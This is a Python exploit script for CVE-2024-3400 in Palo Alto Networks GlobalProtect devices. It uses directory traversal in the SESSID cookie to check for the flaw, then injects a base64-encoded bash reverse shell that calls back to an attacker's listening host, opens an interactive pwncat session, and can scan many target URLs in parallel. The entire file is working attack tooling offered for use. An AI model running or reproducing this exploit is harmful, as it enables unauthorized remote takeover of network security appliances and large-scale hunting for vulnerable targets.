exploit.py

import uuid
import base64
import socket
import argparse
import requests
import threading
import pwncat.manager
from rich.console import Console
from typing import List, Optional
from requests.models import Response
from alive_progress import alive_bar
from concurrent.futures import ThreadPoolExecutor, as_completed


class PaloAltoSkids:
    """
    This class is designed to test for CVE-2024-3400, a Remote Code Execution (RCE) vulnerability
    in certain Palo Alto Networks devices.
    """

    def __init__(
        self,
        urls: List[str],
        lhost: str,
        lport: int,
        bindport: Optional[int],
        num_threads: int,
        verbose: bool,
    ):
        self.urls = urls
        self.lhost = lhost
        self.lport = lport
        self.bindport = bindport or lport
        self.num_threads = num_threads
        self.verbose = verbose
        self.console = Console()
        requests.packages.urllib3.disable_warnings()

    def custom_print(self, message: str, header: str) -> None:
        """Prints messages to the console with custom formatting based on message type."""
        header_colors = {
            "+": "green",   # Success
            "-": "red",     # Error
            "!": "yellow",  # Warning
            "*": "blue",    # Info
        }
        self.console.print(
            f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}"
        )

    @staticmethod
    def generate_file_name() -> str:
        """Generate a random UUID for the file name with '.txt' extension."""
        return f"{uuid.uuid4()}.txt"

    def send_post_request(self, base_url: str, file_name: str) -> Optional[Response]:
        """Send the POST request with the specified cookie exploiting directory traversal."""
        post_url = f"{base_url}/ssl-vpn/hipreport.esp"
        cookies = {
            "SESSID": f"/../../../var/appweb/sslvpndocs/global-protect/portal/images/{file_name}"
        }
        print(cookies)
        try:
            response = requests.post(
                post_url, cookies=cookies, timeout=10, verify=False
            )
            return response
        except requests.exceptions.RequestException as e:
            if self.verbose:
                self.custom_print(f"Failed to send POST request: {e}", "-")
        except Exception as e:
            print(e)
            return None

    def check_file_creation(self, base_url: str, file_name: str) -> Optional[str]:
        """Check if the exploit created the file by sending a GET request."""
        get_url = f"{base_url}/global-protect/portal/images/{file_name}"
        try:
            response = requests.get(get_url, timeout=10, verify=False)
            if response.status_code == 403:
                return base_url
        except requests.exceptions.RequestException as e:
            if self.verbose:
                self.custom_print(f"Failed to check file creation: {e}", "-")
        except Exception as e:
            print(e)
        return None

    def send_exploit_request(self, base_url: str) -> None:
        """Send a malicious POST request to trigger the RCE vulnerability."""
        exploit_command = f"bash -i >& /dev/tcp/{self.lhost}/{self.bindport} 0>&1"
        encoded_command = base64.b64encode(exploit_command.encode()).decode()
        malicious_cookie = f"/../../../../opt/panlogs/tmp/device_telemetry/minute/test`echo {encoded_command}|base64 -d|bash`".replace(
            " ", "${IFS}"
        )
        print(malicious_cookie)
        cookies = {"SESSID": malicious_cookie}
        try:
            response = requests.post(
                f"{base_url}/ssl-vpn/hipreport.esp",
                cookies=cookies,
                timeout=10,
                verify=False,
            )
            if response.status_code == 200:
                self.custom_print("Exploit request sent successfully.", "+")
                self.custom_print(
                    f"Exploiting telemetry, please wait some minutes...", "!"
                )
            else:
                self.custom_print("Failed to execute exploit.", "-")
        except requests.exceptions.RequestException as e:
            self.custom_print(f"Error sending exploit: {e}", "-")

    def test_exploit(self, base_url: str) -> Optional[str]:
        """Test the exploit for a single URL and handle verbosity."""
        file_name = self.generate_file_name()
        if self.send_post_request(base_url, file_name):
            result_url = self.check_file_creation(base_url, file_name)
            if result_url:
                self.custom_print(f"Vulnerable: {result_url}", "+")
            else:
                if self.verbose:
                    self.custom_print("Not vulnerable", "-")
            return result_url
        return None

    def start_listener(self, timeout=300) -> None:
        with socket.create_server(("0.0.0.0", int(self.lport))) as listener:
            listener.settimeout(timeout)
            self.custom_print(
                f"Waiting for incoming connection on port {self.lport}...", "*"
            )

            try:
                victim, victim_addr = listener.accept()
                self.revshell_connected = True
                self.custom_print(
                    f"Received connection from {victim_addr[0]}:{victim_addr[1]}", "+"
                )

                with pwncat.manager.Manager() as manager:
                    session = manager.create_session(
                        platform="linux", protocol="socket", client=victim
                    )
                    self.custom_print("Dropping to pwncat prompt...", "+")
                    manager.interactive()
            except socket.timeout:
                self.custom_print(
                    f"No reverse shell connection received within {timeout} seconds.",
                    "-",
                )

    def execute_exploit(self, output_file: str = None) -> None:
        """Execute the exploit across multiple URLs and write results to the output file."""
        if len(self.urls) == 1 and self.verbose:
            threading.Thread(target=self.start_listener).start()
            if self.test_exploit(self.urls[0]):
                self.send_exploit_request(self.urls[0])
        else:
            with ThreadPoolExecutor(max_workers=self.num_threads) as executor:
                futures = {
                    executor.submit(self.test_exploit, url): url for url in self.urls
                }
                with alive_bar(len(self.urls), enrich_print=False) as bar:
                    if output_file:
                        file = open(output_file, "a")
                    for future in as_completed(futures):
                        try:
                            result = future.result()
                            if result and output_file:
                                file.write(f"{result}\n")
                        except Exception as e:
                            self.custom_print(f"Error processing URL: {e}", "-")
                        finally:
                            bar()    
    

def parse_arguments() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description="Test for CVE-2024-3400, a RCE vulnerability in Palo Alto Networks devices."
    )
    parser.add_argument(
        "-u", "--url", help="Single URL to test"
    )
    parser.add_argument(
        "-f", "--file", help="File containing target URLs to scan"
    )
    parser.add_argument(
        "-lh", "--lhost", help="Listening host for reverse shell"
    )
    parser.add_argument(
        "-lp", "--lport", type=int, help="Listening port for reverse shell"
    )
    parser.add_argument(
        "-bp",
        "--bindport",
        type=int,
        help="Port for the bind listener (useful with ngrok)",
    )
    parser.add_argument(
        "-t",
        "--threads",
        type=int,
        default=50,
        help="Number of threads to use for scanning",
    )
    parser.add_argument(
        "-o", "--output", help="File to write vulnerable URLs to"
    )

    args = parser.parse_args()

    if not args.url and not args.file:
        parser.error("Either a URL or a file with URLs must be specified.")
    if args.url and not (args.lhost and args.lport):
        parser.error("Listening host and port must be specified for single URL mode.")

    return args


def main() -> None:
    args = parse_arguments()
    urls = [args.url] if args.url else []
    if args.file:
        with open(args.file, "r") as file:
            urls.extend(line.strip() for line in file if line.strip())

    exploit = PaloAltoSkids(
        urls, args.lhost, args.lport, args.bindport, args.threads, bool(args.url)
    )
    exploit.execute_exploit(args.output)


if __name__ == "__main__":
    main()